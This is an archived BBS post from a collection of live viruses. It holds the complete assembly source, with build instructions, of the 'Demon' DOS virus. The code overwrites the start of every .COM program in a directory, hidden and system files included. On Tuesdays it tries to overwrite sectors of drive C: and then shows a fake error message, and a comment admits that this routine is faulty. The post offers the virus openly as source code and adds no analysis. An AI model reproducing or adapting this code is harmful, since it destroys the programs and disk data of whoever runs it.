home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / demon.asm < prev    next >
Assembly Source File  |  1992-11-07  |  6KB  |  137 lines

  1. Dt: 19-Oct-91 04:19
  2.  
  3. By: Skin Head
  4. To: All
  5. Re: New Source Code
  6.  
  7. ;========== Demon virus ==================================== 22.09.91 ========
  8. ;
  9. ; Assemble and link with:  TASM  DEMON.VIR
  10. ;                          TLINK DEMON /X/T
  11. ; Infect all .COM programs in current directory with: DEMON
  12. ;
  13. ;                       !!! NOT ON A TUESDAY !!!
  14. ;
  15. ;-------------- Constants and structures
  16.  
  17. Tuesday         =       2                       ; INT 21h, AH=2Ah
  18.  
  19. Search_Rec      struc                           ; directory search record
  20.                 db      21 dup (?)              ;   reserved for DOS
  21.   FileAttr      db      ?                       ;   file attribute
  22.   FileTime      dw      ?                       ;   packed file time
  23.   FileDate      dw      ?                       ;   packed file date
  24.   FileSize      dd      ?                       ;   long file size
  25.   FileName      db      13 dup (?)              ;   ASCIIZ FILENAME.EXT
  26. Search_Rec      ends
  27.  
  28. ;-------------- Demon virus segment
  29.  
  30. Virus           segment
  31.                 assume  cs:Virus,ds:Virus,es:Virus,ss:Virus
  32.  
  33.                 org     0080h
  34. DTA             Search_Rec <>                   ; disk transfer area
  35.  
  36.                 org     0100h
  37. Demon:                                          ; virus entry point
  38. Virus_Size      =       Virus_End - Demon       ; virus size = 272 bytes
  39.  
  40.                 mov     dx,offset All_COM       ; find first .COM file,
  41.                 mov     ah,4eh                  ;   including hidden/system
  42.                 mov     cx,110bh
  43.                 int     21h
  44.                 nop
  45.                 jnc     Infect                  ; abort if no files found
  46.                 jmp     short Check_Day
  47. Infect:         call    Replicate               ; overwrite first 272 bytes
  48.                 mov     dx,offset DTA
  49.                 mov     ah,4fh                  ; find next .COM file,
  50.                 int     21h                     ;   go check day if none found
  51.                 nop                             ;   else repeat
  52.                 jnc     Next_File
  53.                 jmp     short Check_Day
  54. Next_File:      jmp     Infect
  55. Check_Day:      mov     ah,2ah                  ; get DOS date, check day
  56.                 int     21h
  57.                 cmp     al,Tuesday              ; Tuesday ?
  58.                 je      Thrash_Drive            ; if yes, thrash drive C:
  59.                 mov     ah,4ch                  ;   else exit to DOS
  60.                 int     21h
  61.  
  62. Thrash_Drive:   mov     Counter,0               ; overwrite first 160 sectors
  63.                 jmp     Write_Sectors           ;   of drive C: with garbage
  64. Write_Sectors:  mov     al,Drive_C              ; Error: doesn't work !
  65.                 mov     cx,160                  ; AL=C:, CX=160 sectors
  66.                 mov     dx,0                    ; DX=highest sector in drive !
  67.                 mov     bx,0                    ; DS:BX=start of PSP area
  68.                 int     26h                     ; overwrite sectors
  69.                 inc     Counter
  70.                 cmp     Counter,10              ; repeat 10 times
  71.                 je      Show_Msg
  72.                 jne     Write_Sectors
  73. Show_Msg:       mov     ah,09h                  ; show a fake error message
  74.                 mov     dx,offset Virus_Msg     ;   and exit to DOS
  75.                 int     21h
  76.                 mov     ah,4ch
  77.                 int     21h
  78.  
  79. Replicate:      mov     dx,offset DTA.FileName  ; save file attribute
  80.                 mov     ax,4300h
  81.                 int     21h
  82.                 mov     COM_Attr,cx
  83.                 nop
  84.                 xor     cx,cx                   ; unprotect the .COM file
  85.                 mov     ax,4301h                ;   in case it's read-only
  86.                 int     21h
  87.                 nop
  88.                 mov     ax,3d02h                ; open .COM file for R/W,
  89.                 int     21h                     ;   abort on error
  90.                 nop
  91.                 jc      Check_Day
  92.                 mov     bx,ax                   ; BX = file handle
  93.                 mov     ax,5700h
  94.                 int     21h                     ; save file date and time
  95.                 nop
  96.                 mov     COM_Time,cx
  97.                 mov     COM_Date,dx
  98.                 mov     dx,offset Demon         ; overwrite first 272 bytes
  99.                 mov     ah,40h                  ;   of .COM program file
  100.                 mov     cx,Virus_Size           ;   with the virus code
  101.                 int     21h
  102.                 nop
  103.                 mov     ax,5701h                ; restore file date and time
  104.                 mov     dx,COM_Date
  105.                 mov     cx,COM_Time
  106.                 int     21h
  107.                 mov     ah,3eh                  ; close the file
  108.                 int     21h
  109.                 nop
  110.                 mov     dx,offset DTA.FileName  ; restore file attribute
  111.                 mov     cx,COM_Attr
  112.                 mov     ax,4301h
  113.                 int     21h
  114.                 retn
  115.  
  116. All_COM         db      '*.COM',0               ; dir search specification
  117. COM_Date        dw      0                       ; packed .COM program date
  118. COM_Time        dw      0                       ; packed .COM program time
  119. COM_Attr        dw      0                       ; .COM program file attribute
  120. Counter         db      0                       ; used when thrashing drive C:
  121. Drive_C         db      2                       ; INT 26h C: drive number
  122.                 dw      0
  123. Copyright       db      'Demonhyak Viri X.X (c) by Cracker Jack 1991 (IVRL)'
  124.                 dw      0
  125. Virus_Msg       db      10,13,'Error eating drive C:',10,13,'$'
  126.  
  127. Virus_End       label   byte                    ; virus code+data end
  128.  
  129. Virus           ends
  130.                 end     Demon
  131.  
  132. ; ─────────────────────────────────────────────────────────────────────────
  133. ; ────────────────────> and Remember Don't Forget to Call <────────────────
  134. ; ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  135. ; ─────────────────────────────────────────────────────────────────────────
  136.  
  137.